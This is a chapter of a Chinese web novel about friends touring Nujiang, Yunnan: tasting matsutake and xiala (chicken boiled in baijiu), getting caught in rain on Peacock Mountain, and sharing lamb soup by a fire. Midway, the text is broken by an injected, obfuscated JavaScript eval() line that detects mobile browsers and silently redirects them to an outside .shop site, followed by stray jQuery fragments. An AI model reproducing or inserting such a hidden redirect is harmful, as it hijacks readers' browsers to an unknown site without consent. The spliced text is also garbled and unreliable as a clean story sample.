松茸是为数不多能够直接生吃的野生菌。
肉质细嫩,香气浓郁,生吃口感清冽脆韧,唇齿留香,余韵柔和而绵长。
煮熟的松茸变得软滑多汁,菌香与肉香充分融合后带来丰富口感,锅里金黄汤汁浓郁鲜美,一口下去回味无穷。
正值野生菌出菌高峰期,他们每天换着品种变着花样的吃。
宋芝郁和摄影小哥感觉自己仿佛把前半生没吃够的野生菌全补了回来。
“人麻了。”摄影小哥整理着近期的照片,嘴里不住念叨,“吃不好玩不好,我以前过的都是些什么苦日子。”
换来宋芝郁轻声嘲笑。
“你说他们一年要吃掉多少野生菌?”摄影小哥实在好奇。
“要不你去统计下。”
“不了不了。”反正以他们对菌子的热爱,绝对是个惊人的天文数字。
另一边,在肖寻快要忘记那位小姐姐的邀约时,神秘的侠拉终于在某天晚上揭开面纱。
“来来来,尝尝我们的心灵鸡汤。”小姐姐给他们三个一人盛了半碗。
肖寻打量着其余人手里满当当的汤碗,十分不解地问李佑:“你们怎么那么多?”
“她怕你们不习惯,上来直接喝醉。”
肖寻眨眨眼,再眨眨眼,没理解他话里的意思。
一碗汤能把人喝醉,开什么玩笑呢?
“有些人喝酒没事,但喝侠拉特别容易上头,比如你这种平时海量的小姑娘。” 李佑笑呵呵逗她,没想到居然一语成谶。
尚且不知情的肖寻闻了闻热气腾腾的侠拉,汤里有种独特的香气,描述不出来具体像什么。
凑近碗边浅浅喝一口,灼热感自舌尖迅速扩散开,顺着喉咙一路烧到胃里。
肖寻双眼睁大,难以置信地审视碗里的液体。
不太确定,再喝一口试试。
又烈又烫的深黄色汤汁在嘴里炸开,沿着清晰的轨迹于体内不断燃烧。
片刻后,口齿浮起一丝若有若无的回甘。
肖寻拧眉盯着碗,舔了舔唇瓣,若有所思。
“烫,你慢着点。”小姐姐被她生动有趣的表情惹得哈哈大笑。
冷不丁听见肖寻冒出句:“白酒煮鸡!?”
小姐姐一愣,点头夸赞:“你味觉真灵。”
她给肖寻讲解制作步骤,简而言之,确实是白酒煮鸡没错。
“肉补三天,汤补十天十夜。”李佑在旁边补充,“贡山湿气重,你们多喝点。”
不知不觉半碗汤见底,味道能接受,但不是肖寻喜欢的那种。
小姐姐正准备再给她加点,却见她一脸疑惑地问宋芝郁:“你晕吗?”
“不晕啊。”宋芝郁莫名其妙。
“我怎么感觉有点晕。”肖寻不信邪地偏头转向摄影小哥,“你不晕吗?”
“不晕。”摄影小哥瞧着自己被再度加满的碗,“别说,还挺喝的。”
乌鸦嘴李佑唏嘘,“完蛋,这怕不是真喝侠拉上头了。”
情况罕见,但不是没有。
“八成我虚不受补。”肖寻放下碗,改吃盘子里的老品种黄瓜条,“等我缓缓。”
“那简单,明天去孔雀山上整点羊肉补补。”李佑津津有味喝着侠拉,顺便翻了翻天气预报,“正好明天天晴,上面风景好。”
“不好说呢。”小姐姐拿着大汤勺给众人碗里舀鸡肉,“天不天晴的要上去才知道,有时候下面看着天晴,上去了在下大雨。”
“管他的,听天由命。”李佑身上总有种乐观积极的洒脱感。
天晴有天晴的玩法,下雨有下雨的乐趣,横竖车到山前必有路,船到桥头自然直,先上去了再说。
被温热酒液浸透的鸡块外皮黏糯肉质紧实,有种与众不同的风味。
肖寻尝个味道便停下,依然不是很喜欢。
对于她来说,侠拉仿佛是首难以驾驭的狂想曲,属实无福消受。
宋芝郁和摄影小哥则恰恰相反,认为汤鲜肉香,实乃珍馐美食,一个两个吃得大汗淋漓。
“怒江真的好爱吃鸡。”摄影小哥嚼着鸡肉感慨。
“没吧,好像整个云南都是。”李佑说。
“逢年过节杀只鸡热闹热闹,家里来客了杀只鸡招待招待,搞到点菌子杀只鸡拿了煮煮,最近身体虚杀只鸡补补,今天心情好杀只鸡吃吃……”宋芝郁来云南的次数相对较多,细数见过的云南花式杀鸡。
不伦不类的云南话引来哄堂大笑。
“果然,没有一只鸡能活着走出云南。”摄影小哥总结。
孔雀山是近些年火出圈的徒步路线,因山体形似展翅欲飞的孔雀而得名。
森林、湖泊、草甸,雪山、星空、杜鹃,一年四季的风景各不相同,徒步者每次探索均像在拆盲盒。
“可惜之前杜鹃花开的时候你们没去。”侠拉小姐姐翻出自己当时拍的照片给几人看。
“没事,下次冬天来看雪景时补上。”肖寻新奇地望向窗外,公路上羊群随处可见,甚至肆无忌惮卧在路中间打盹。
按了几次喇叭才慢吞吞起身挪开。
“这么嚣张的吗?”肖寻挑眉。
“散养惯了,主人不管,被偷都不知道。”藏族小哥给他们讲起曾经有人羊被偷走好几个月才发现的趣闻。
转弯处突然冒出只故事主角的同类,藏族小哥急忙避让,李佑举着的手机险些脱手飞出。
“车上看什么呢?别玩了,小心晕车。”
李佑调整了下姿势,“怒江首部全ai制作而成的滇西抗战微电影,《我有一个朋友叫李青山》。”
“好看吗?”
“可以。穿越成一颗石头,然后以石头的视角展开滇西抗战。”
“快快快,分享下。”
人类的好奇心如出一辙,纷纷催他转发链接。
到地方后,一车人同步摸出手机点开微电影。
更有甚者,肖寻一遍不够还放两遍,不仅放还在旁边刷刷写着什么。
看得从另外一辆车上下来的摄影小哥满头问号,然后被安利了同款链接。
孔雀山上天气说变就变,前一秒还阳光灿烂,后一秒气温骤降下起大雨。
肖寻瑟瑟发抖,裹紧身上的外套。
得亏昨天侠拉小姐姐提醒一嘴,她专门多带了件衣服,可即便如此仍旧冷得不行。
“这是七月该有的温度吗?”肖寻冻得使劲搓手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708931|208391||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经验丰富的摄影小哥相对好点,出门被笑话大夏天穿冲服衣有多惨,现在就有多叫人羡慕。
“不怕不怕,我让人送衣服上来了。”提醒肖寻的侠拉小姐姐自个也没带够厚衣服,甚至连伞都拿忘了,可怜兮兮蹭在伞最大的宋芝郁身边。
“折头吧,先回去烤个火。”李佑说。
停车的附近有处木屋,屋外搭着棚子,棚子里燃了火堆正在煮着什么,暖黄色的火光在此刻显得格外亲切。
冻狠了的几人连忙围着火坐下,一个个颇为狼狈。
主人家找来纸杯,从冒着白气的锅里舀出热汤分给大家。
“赶紧喝点,暖暖身子。”
肖寻接过喝下一大口,居然是白酒蛋花汤,不知是不是加了点糖的缘故,嘴里隐隐有几分甜丝丝的味道。
暖意沿着舌尖蔓延至四肢百骸,她舒服得眯起眼,长长吐出口气。
总算感觉自己活了过来。
“我果然不是徒步的料,难得尝试一次连老天都不给面子。”瞧着越下越大的雨,肖寻开始苦中作乐。
“瞎说,改天再来保准不下雨。”信以为真的侠拉小姐姐安慰她。
“不了不了,改天得进独龙江逛逛。”
“那你可要提前看好天气,汛期容易塌方封路。”
“若是早几个月或者晚几个月就好了,避开汛期,水色如玉、清澈见底,景色绝美。”藏族小哥惋惜。
“这么说冬天再来一趟是必须的了。”肖寻算着积攒下的景点,问宋芝郁,“要不安排上?”
“可以。”
她又问摄影小哥,“你呢,有空吗?”
“我都行,起码能跟你两年。”
“怎么,两年以后得回去结婚?”
摄影小哥懒得搭理她。
衣服来得很快,哦,不是,送衣服的人来得很快。
一件件加绒冲锋衣简直是雪中送炭,在肖寻眼里,拎着衣服从车上下来的他们堪比天降神兵。
大码的衣服穿在身上哪哪都长,竟把肖寻衬托出几分娇小可人的模样。
摄影小哥光明正大偷拍,还举着手机朝正主炫耀,“以后别惹我,哥们手里可是有你黑料的。”
肖寻笑眯眯瞧着他,“哦,那你可得当心点,别哪天被人灭口。”
李佑说来吃羊,还真就是来吃羊的。
没有过多配料,无需复杂烹饪,全凭食材本身的优势,一口大锅炖出了羊汤最纯粹的风味。
锅盖揭开,飘香千里。
香喷喷的羊汤加把薄荷瞬间征服味蕾,肖寻连喝两碗。
摄影小哥不喜欢薄荷,撒了点韭菜,照样吃得心花怒放。
羊肉炖得软烂,羊皮弹糯羊杂鲜美,简单一勺蘸水便使香味得以升华。
一口下去,顺利驱散雨天阴霾。
少数民族素来能歌善舞,饭后收了锅碗,大家围着火堆即兴唱起歌,歌声清亮婉转,歌者笑容明媚。
有了歌当然少不了酒,酒过三巡,开始跳舞,舞步热情欢快,丝毫不受外面大雨影响。
肖寻心想,得,徒步没徒成,跳舞也算运动吧,最近的运动量真是前所未有的可观呢。
夸夸老己,我真棒!